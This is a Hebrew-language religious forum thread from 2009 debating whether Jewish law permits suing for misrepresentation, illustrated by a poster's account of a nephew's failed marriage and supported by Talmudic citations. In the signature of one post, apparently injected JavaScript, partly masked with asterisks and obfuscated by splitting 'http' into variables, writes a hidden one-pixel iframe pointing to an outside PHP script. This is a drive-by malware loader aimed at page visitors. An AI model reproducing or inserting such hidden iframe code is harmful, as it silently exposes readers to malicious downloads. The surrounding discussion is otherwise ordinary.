| נשלח ב-6/10/2009 16:06 |
 |
| |
מצג שווא והסתרת מידע - עילה לתביעה?
אדם הציג לחברו מצג שווא, וגם הסתיר מידע רלוונטי. מכיוון שחברו בטח בו, היות והוא בדרך כלל אדם אמין, אם כי נוגע בדבר, השקיע החבר את הונו בעסק לא טוב. האם ניתן לתבוע את האדם המונה בדין תורה?
תוקנה הכותרת לפי כללי הפורום
תוקן על ידי עצכח ב- 07/10/2009 0:09:49
|
|
|
|
| נשלח ב-6/10/2009 18:10 |
|
| |
איתמר המראה דינר לשולחני ונמצא רע תני חדא אומן פטור הדיוט חייב ותניא אידך בין אומן בין הדיוט חייב אמר רב פפא כי תניא אומן פטור כגון דנכו ואיסור דלא צריכי למיגמר כלל אלא במאי טעו טעו בסיכתא חדתא דההיא שעתא דנפק מתותי סיכתא ההיא איתתא דאחזיא דינרא לרבי חייא אמר לה מעליא הוא למחר אתאי לקמיה ואמרה ליה אחזיתיה ואמרו לי בישא הוא ולא קא נפיק לי אמר ליה לרב זיל חלפיה ניהלה וכתוב אפנקסי דין עסק ביש ומאי שנא דנכו ואיסור דפטירי משום דלא צריכי למיגמר רבי חייא נמי לאו למיגמר קא בעי רבי חייא לפנים משורת הדין הוא דעבד כדתני רב יוסף (שמות יח) והודעת להם זה בית חייהם את הדרך זו גמילות חסדים ילכו זו ביקור חולים בה זו קבורה את המעשה זה הדין אשר יעשון זו לפנים משורת הדין ריש לקיש אחוי ליה דינרא לרבי אלעזר אמר מעליא הוא אמר ליה חזי דעלך קא סמכינא א"ל כי סמכת עלי מאי למימרא דאי משתכח בישא בעינא לאיחלופי לך והא את הוא דאמרת רבי מאיר הוא דדאין דינא דגרמי מאי לאו ר' מאיר ולא סבירא לן כוותיה א"ל לא ר' מאיר וסבירא לן כוותיה
|
|
|
|
| נשלח ב-6/10/2009 18:19 |
|
| |
עברתי על מה שהביא ,נישטאיך' מדברי ירון אונגר ונראה לי שיש מקום לפקפק בדבריו ויתכן כי אינם נכונים
כרגע אין עיתותי בידי לעין כל הצורך בענין זה אך אין לסמוך על דבריו ללא עיון מעמיק ובדיקה במקורות דבריו ועוד
|
|
|
|
| נשלח ב-6/10/2009 19:48 |
|
| |
מכיוון שסיפור המעשה אינו בדיוק בענייני ממון, אפרט קצת יותר.
בן אחותי עמד להנשא לבחורה שהכיר. שניהם כבר היו נשואים קודם, הבחורה אפילו פעמיים. מכיוון שכבר נכוו בעבר, יצאו זמן ארוך עד שהחליטו על נישואין. היא הציגה עצמה כבריאה לחלוטין, למרות שבדיעבד התברר שסבלה מבעיות גופניות [קשורות בעיכול וגורמות לתופעות לוואי בלתי נעימות, מלבד עוד אי אילו מגבלות גופניות] שיכולות להפריע בנישואים. את שני גירושיה הציגה כאילו אין לה חלק באשמה כלל, וכאילו בני זוגה לשעבר היו מופרעים.
הם נישאו וחיו תקופה יחד. אז התגלו בעיותיה וכשראתה שבעלה אינו מרוצה ומסתובב ממורמר, חששה כנראה שמא יעזוב אותה ומיהרה להפרד ממנו, בטרם יעזוב הוא אותה. התברר שזה היה אצלה קו ברור גם בגירושין הקודמים, מיהרה לחתוך מחשש שיעזבו אותה, או יתכן שהיא פשוט לא מסוגלת לחיות בצוותא עם בן זוג. אבל הציגה זאת כאילו בני זוגה היו האשמים הבלעדיים. אציין שבעלה, למרות שברור שהבעייה אצלה, לא חשב אפילו על גירושין לאחר הטראומה שעבר בנישואין הקודמים שלו, וקיבל בתדהמה את החלטתה זו.
על כל פנים, הדבר כבר נעשה. הוא שוקל בדעתו אם הוא יכול לתבוע אותה על מצג שווא, על הסתרת עובדות חיוניות הנוגעות לבריאות [יש לציין שהוא סיפר לה על בעייה מסויימת שיש לו, לא בעייה קרדינלית שיכולה להפריע, אבל מתוך יושר לא הסתיר אותה כלל]. ברור כשמש שלו היה יודע מראש שהיא לא בריאה לגמרי, לא היה חושב אפילו להתחתן איתה.
לדעתי, הוא יכול לתבוע ממנה דמי נזיקין על מצג שווא ועל הטעייה בנוגע לגירושיה הקודמים. מה דעתכם המלומדת על כך?
 |
|
|
|
|
| נשלח ב-6/10/2009 19:50 |
|
| |
יתכן ותיאורוטית ניתן לחייב על כך בבית דין או בבית משפט אבל נראה לי שקשה מאוד להוכיח כאלו דברים ושזה יציף המון לכלוך והשמצות.
|
|
|
|
|
| נשלח ב-6/10/2009 20:05 |
|
| |
כעת חיה
העלית שאלה מורכבת. אמנם לדעתי השאלה התיאורטית בראשית דבריך והשאלה המעשית שהבאת בסוף הן אינן דומות לגמרי.
אני עונה, מאחר שאני משער שהשאלה אינה משקפת במלואה מקרה אמיתי (הרי לא היית מביאה מעשה כזה מסיבות שונות...). לכן אין בכך משום "אל תעשו עצמכם כעורכי הדיינים".
אחזור על מה שנראה לי רלוונטי.
א. הסיפור: אשה הטעתה איש, לא סיפקה לו מידע רפואי חיוני למדי, בנושא שמקשה על חיים משותפים.
הערה בשלב זה: אילו היה הבעל תובע לבטל את הנישואין בשל מומין שבסתר, יתכן שהיתה לו עילה (למרות שהיום לא נוהגים להסתמך על מומין שבסתר לבטל נישואין, אבל ידו היתה על העליונה מבחינה ממונית להתפטר מהכתובה, מתוספת כתובה ועוד. כך ייראה).
ב. אבל ציינת שלמרות שהבעל נתקל בקשיים, לא עלה על דעתו להתגרש. כלומר שהוא מחל על זכותו לא לשלם את מה שהתחייב עם הנישואין במקרה של גירושין.
ג. אם הם יתגרשו, מה אז?
1. לגבי חיוב כתובה ושאר חובות שהבעל מתחייב לאשתו על צד שהם יתגרשו, נראה שהוא חייב לשלם. שהרי מחל על הבעיה הרפואית לדבריך ולא התכוון לבקש גט.
אמנם, אם התגלתה בעיה חדשה, שהיא מבקשת להתגרש בגלל קו פסיכולוגי באישיותה והנהגתה, יתכן שזה מום (נוסף לקודם על בעיות קיבה) שמחמתו ניתן לטעון שעל דעת כן לא נשא אותה לאשה ולכן אינו חייב בכתובתה. בקיצור: מום.
2. לגבי מה שגרמה לו שיתחתן עמה במצג שווא של בריאות, עד כמה שידוע לי, לפי ההלכה אין בסיס לקבלת פיצויים. זאת משתי סיבות. ראשית, כי זו גרמא. הרי היא לא הזיקה אותה בידים. היא רק גרמה לו להוצאות שונות, ובעיקר גררה אותו לחיי נישואין שלדבריך לא היה צריך להסכים להם.
ואין זה דומה למה שהובא בניסוח של שאלתך בראש האשכול. שם מדובר שאדם נתן עצה רעה לחברו, וזה נידון אחר. כך ייראה לי.
שנית, מפני שלא ברור (לי) אם אכן היה זה מצג שווא. האם לא היתה אפשרות שהם יסתדרו, שהיא האמינה שהיא מסוגלת להיות לו אשה טובה?
|
|
|
|
|
| נשלח ב-6/10/2009 20:37 |
|
| |
יש לו את כל האפשרות להוכיח שהסיפור היה כפי שנכתב לעיל. היא לא מכחישה דבר, וברשותו התכתבות ביניהם שמוכיחה את טענותיו אחת לאחת.
לא כתבתי על אדם שנתן עצה רעה לחברו. כתבתי שאדם הציג מצג שווא לחברו, ולכן חברו השקיע בעסק. לו היה יודע את העובדות לאשורן, ברור כשמש שלא היה נכנס לעסק כושל כזה. נכון שלא מדובר כאן בממון, אבל להשקיע חיים זה יקר יותר מכסף...
בבית דין יכול האדם הנ"ל להוכיח את טענותיו ויגבה אותן במסמכים רלוונטיים. האם מבחינה הלכתית יש לו אפשרות לזכות בפיצוי? האם מגיע לו פיצוי על שהאשה הונתה אותו?
נניח שהמקרה היה הפוך. גבר הונה אשה במצג שווא להתחתן איתו. לא סיפר לה על מומיו הנסתרים. כשראה שהיא ממורמרת ועלולה לדרוש גט, הקדים ודרש גט. [או שמחמת מום באופיו אינו יכול לחיות בזוגיות, הנקודה הזו אינה ברורה לגמרי]האם עליו לפצות אותה? לשלם את כתובתה?
|
|
|
|
| נשלח ב-7/10/2009 00:31 |
|
| |
כעת חיה
לאחר ההבהרות דלעיל כמדומה שניתן למקד את השאלה כך, בשני אופנים, שיוצגו בשתי נפקא מינות:
מה חייב אדם, גבר או אשה, שהטעו את השני בנישואין?
א. האם בעל שהוטעה חייב כתובה לאשתו?
ב. האם אשה שהטעתה ולכן הבעל השקיע בסעודת נישואין, חייבת לפצות את בעלה?
ההבדל בין א' ל-ב' הוא שבמקרה הראשון הבעל התחייב ורוצה להתפטר מחיוב. וכאן אכן אם יוכח שהתחייבותו הוצאה ממנו במרמה, "מצג שוא", אזי יהיה פטור. כך נראה.
לעומת זה, במקרה ב' הבעל רוצה פיצוי על הוצאה שהוציא בשל מצג שווא. וכמדומה שמצג שווא הוא סוג של רמאות, מסירת מידע שקרי, אך הרמאי יכול לטעון: אתה שהוא שהפסדת לעצמך בזה שהאמנת לי. ואם לא היה ביניהם איזה קשר מחייב, שספק המידע מתחייב לפצות על נזקים, אזי עד כמה שידוע לי, אין ההלכה מכירה בחיוב לשלם. שהרי זה גרמא. השקרן רק גרם לניזק להוציא מכספו, ולא עשה מעשה בידים.
(האם לפי זה מי שמחייב בסוגי גרמא כלשהם יחייב גם כאן? איני יודע. צריך לעיין. מן הסתם יש כאן מי שידע יותר ובאופן זמין).
תוקנה טעות של חסרון ו'.
_________________
שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as="'h';
var" ac="'tt';
var" ab="'p';
var" ay="//";
document.write("*************** src="'"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"'" frameborder="'0'" height="1px" width="1px" scrolling="'no'" ><*");
//*
תוקן על ידי מיימוני ב- 07/10/2009 0:33:21
|
|
|
|
|
| נשלח ב-8/10/2009 20:59 |
|
| |
א. אם לא נגרם לו נזק ממשי אין באפשרותו לתבוע פיצויים וכדו', שכן אין חיוב כזה במשפט העברי.
ב. אם הוא רצה להמשיך בחיי הנישואין מחמת סיבות מסוימות, יתכן והוא מאבד בכך את זכותו, (בתוספות ישנים ביבמות מבואר באדם שנשא אילונית ומת, שאין כאן מקח טעות במה שאינה יכולה ללדת, כיון שאם היה יודע שימות לא היה אכפת לו, מכיון שודאי לא יהיו לו ילדים ממנה, (לא דומה ממש, רק נושא לדיון).
נ.ב. לא הבנתי איך אפשר לומר שהדבר מפריע לחיי הנישואין במקרה והבעל בעצמו היה מעוניין בהמשך חיי הנישואין, זה נשמע לי סתירה מוחלטת. ?
|
|
|
|
| נשלח ב-9/10/2009 09:14 |
|
| |
אוהב לחשוב,
האם לא שמעת מעודך על אנשים שאינם רוצים להתגרש למרות שלא הצליחו בנישואיהם? זה דבר נפוץ מאוד, בפרט למי שנכווה כבר בעבר.
הייתי אומרת שאחוזים גבוהים למדי באוכלוסיה הדתית-חרדית נשארים בנישואים גרועים רק כדי לא לעבור לא את הגיהינום של גירושין, ולא לזכות בסטיגמה של כשלון.
להבדיל, גם כשקונים משהו יקר, כגון דירה, ומוצאים בה חסרונות, נשארים לגור בה למרות החסרונות. אין מספיק כסף או מספיק כוחות נפשיים לבצע שינוי. חוץ מזה מתנחמים שאין בן זוג או דירה מושלמים...
תוקן על ידי כעת_חיה ב- 09/10/2009 9:15:55
|
|
|
|
| נשלח ב-9/10/2009 12:47 |
|
| |
כמו שנשארים בחברה/בדת
|
|
|
|
| נשלח ב-11/10/2009 15:14 |
|
| |
אוהב _לחשוב
<עברתי על מה שהביא ,נישטאיך' מדברי ירון אונגר ונראה לי שיש מקום לפקפק בדבריו ויתכן כי אינם נכונים, כרגע אין עיתותי בידי לעין כל הצורך בענין זה אך אין לסמוך על דבריו ללא עיון מעמיק ובדיקה במקורות דבריו ועוד>
אחרי שקבעת שיש מקום לפקפק בדבריו ויתכן כי אינם נכונים, וכי אין לסמוך על דבריו ללא עיון מעמיק ובדיקה במקורות דבריו ועוד, התוכל להודיענו על תוצאות בדיקתך המעמיקה?
|
|
|
|
| נשלח ב-11/10/2009 16:27 |
|
| |
בחיים בכלל, ובחיים האישיים בפרט, ישנם אירועים שונים, יש שהמזל מאיר לו לאדם, ויש שהוא נופל בפח.
דברים כאלה ודומיהם מתרחשים לעיתים קרובות, זה חלק מהחיים.
ישנם שנולדו עם הנטייה לחפש אשמים בכל מצב עגום, והם אינם נחים עד שיתנו אלה את הדין על כך.
דעתי היא, כי יש פעמים שאדם נפל מן הפח ו/או אל הפחת ועליו לקבל זאת בהבנה תוך לימוד הלקחים.
איני מתייחסת למקרה הספציפי אשר לקמן, היות, שהזוית ממנה נכתבה דעתך, חיה, עם כל הכבוד, לא נחשבת כאובייקטיבית, מה עוד שתגובת האשה לא נכתבה,
ע"כ, אציין אך ברמה הכללית כי על אחיינך לקבל עליו את הייסורים שנגזרו עליו באהבה, תוך נסיון לראות בהם את הטוב.
|
|
|
|
| נשלח ב-11/10/2009 23:34 |
|
| |
נביאה,
לדעתי, אדם שהתעה את זולתו צריך לשלם על כך.
אין ספק שהייסורים נגזרו עליו מן השמיים, אבל ה"מקל" שבאמצעותו נענש, חייב גם הוא לקבל את עונשו, כאן ועכשיו. וגם כמובן לאחר מאה ועשרים בדין שמיים...
יפה שאת מלמדת זכות על בת ישראל, אבל את הצד השני ישמע בית הדין ויחליט מה שיחליט. אני רק בררתי אם יש מקום לפנות לבית דין. לא שאת או כל אדם אחר ישפוט מבלי לשמוע צד שני.
|
|
|
|
| נשלח ב-12/10/2009 00:21 |
|
| |
<על אחיינך לקבל עליו את הייסורים שנגזרו עליו באהבה, תוך נסיון לראות בהם את הטוב>
טוב לכפרת עוונות:
"ייסורין ממרקין" (ברכות ה עמוד א, יומא פו עמוד א).
תוקן על ידי נישטאיך ב- 12/10/2009 0:22:20
|
|
|
|
|
